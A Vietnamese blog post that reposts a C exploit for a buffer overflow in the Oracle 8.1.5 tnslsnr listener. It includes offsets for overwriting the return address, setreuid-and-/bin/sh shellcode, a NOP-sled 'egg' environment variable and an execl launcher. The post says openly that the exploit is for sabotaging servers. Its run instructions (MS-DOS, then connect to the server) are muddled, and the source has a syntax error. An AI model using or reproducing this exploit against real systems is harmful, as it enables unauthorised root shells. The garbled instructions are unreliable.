Thứ Ba, 8 tháng 10, 2013

on Leave a Comment

Exploit For The 'Unbreakable' Oracle Database

 

Exploit For The 'Unbreakable' Oracle Database :

Những điều cần biết trong lỗi Unbreakable' Oracle Database

1 - Lỗi tràn bộ đệm xuất hiện khi ta viết quá 2132 bytes vào trong bộ đệm tại command line 2128 để ghi đè lên ebp và tại command line 2132 để ghi đè lên eip

2 - Nếu bạn viết quá 2132 bytes thì nhưng khung khác sẽ bị ghi đè lên về sau sẽ bị xáo trộn trên những mã của bạn , và mã chuyên quyền sẽ được thực thi ( Chú ý nó phải chính xác là 2132 bytes )

3 - Shellcode ở dưới đây sẽ cố gắng làm 1 setreuid(515)

Tác hại của shellcode này : Nó sẽ giúp Hacker làm ngưng trệ hoặc làm treo hệ thống , nếu hệ thống đó bị lỗi này . Cái này chỉ dùng để phá hoại các server mà thôi . Không nên lạm dụng nó . Nếu bạn là 1 Hacker chân chính :-)

*/

#include <stdio.h>

#include <stdlib.h>

#define DEFAULT_EGG_SIZE 4096

#define NOP 0x90

/* 2132 + 1 for the \0 at the end of the string */

#define DEFAULT_BUFFER_SIZE 2133

/* Shellcode made by mafiaboy@hotpop.com */

char shellcode[] =

"\x31\xdb" /* xor %ebx, %ebx */

"\x31\xc9" /* xor %ecx, %ecx */

"\xf7\xe3" /* mul %ebx */

"\xb0\x46" /* mov $0x46, %al */

"\x66\xbb\x03\x02" /* mov $0x1fc, %bx */

"\x49" /* dec %ecx */

"\xcd\x80" /* int $0x80 */

"\x31\xd2" /* xor %edx, %edx */

"\x52" /* push %edx */

"\x68\x6e\x2f\x73\x68" /* push $0x68732f6e */

"\x68\x2f\x2f\x62\x69" /* push $0x69622f2f */

"\x89\xe3" /* mov %esp, %ebx */

"\x52" /* push %edx */

"\x53" /* push %ebx */

"\x89\xe1" /* mov %esp, %ecx */

"\x6a\x0b" /* pushl $0xb */

"\x58" /* pop %eax */

"\xcd\x80"; /* int $0x80 */

int main(int argc, char *argv[])

{

char *buff;

char *egg;

char *ptr;

long *addr_ptr;

long addr;

int bsize = DEFAULT_BUFFER_SIZE;

int eggsize = DEFAULT_EGG_SIZE;

int i;

int get_sp = (int)&get_sp;

if(argc > 1) { bsize = atoi(argv[1]); }

if(!(buff = malloc(bsize)))

{

printf("unable to allocate memory for %d bytes\n", bsize);

exit(1);

}

if(!(egg = malloc(eggsize)))

{

printf("unable to allocate memory for %d bytes\n", eggsize);

exit(1);

}

printf("Oracle tnslsrn 8.1.5\n");

printf("Vulnerability found by mafiaboy/ http://mafiaboy.netfirm.com);

printf("Coded by The mafiaboy/ http://mafiaboy.netfirm.com");

printf("Using return address: 0x%x\n", get_sp);

printf("Using buffersize : %d\n", bsize - 1);

ptr = buff;

addr_ptr = (long *) ptr;

for(i = 0; i < bsize; i+=4) { *(addr_ptr++) = get_sp; }

ptr = egg;

for(i = 0; i < eggsize - strlen(shellcode)-1; i++)

{

*(ptr++) = NOP;

}

for(i = 0; i < strlen(shellcode); i++)

{

*(ptr++) = shellcode[i];

}

egg[eggsize - 1] = '\0';

memcpy(egg, "EGG=", 4);

putenv(egg);

buff[bsize - 1 ]= '\0';

execl("/home/u01/app/oracle/product/8.1.5/bin/tnslsnr",

"tnslsnr", buff, 0);

return 0;

}
Save đoạn code tên thành 1 file *.c (Vì nó viết bằng lập trình C). Vào MS-DOS Prompt rồi chạy file này rồi kết nối với Server

Chúc các bạn thành công .

Bài viết của  Microsoftvn - phunganhtuan32@hotmail.com

Exploit For The 'Unbreakable' Oracle Database

0 nhận xét:

Đăng nhận xét